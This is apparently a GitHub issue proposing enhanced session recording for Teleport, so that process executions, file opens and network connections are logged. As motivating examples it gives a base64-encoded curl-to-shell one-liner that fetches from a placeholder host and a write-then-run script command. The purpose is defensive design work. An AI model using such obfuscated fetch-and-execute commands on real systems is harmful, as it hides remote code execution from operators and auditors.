Enhanced Session Recording

[benarent]

Motivation

At a high level, the goals of enhanced session auditing is to provide more structured data for what happens inside a Teleport interactive session.

Some examples of scenarios that are not currently covered.

$ echo Y3VybCBodHRwOi8vd3d3LmV4YW1wbGUuY29tCg== | base64 --decode | sh
$ echo “xyz” > x.sh | ./x.sh

To gather this data, Teleport needs to correlate process execution with sessions. Then emit all executions to the audit log.

To gain further insight, Teleport should also correlate this information with what files were opened and what outbound connections were established.

Description

Enhanced Auditing design document is a public draft to be discussed with customers and community. Please leave comments in the document.

Once we polish the document in the next several weeks, we are going to move it to this ticket.

[benarent]

Closing this Issue as the first version has been released. See https://gravitational.com/teleport/docs/features/enhanced_session_recording/ for more details.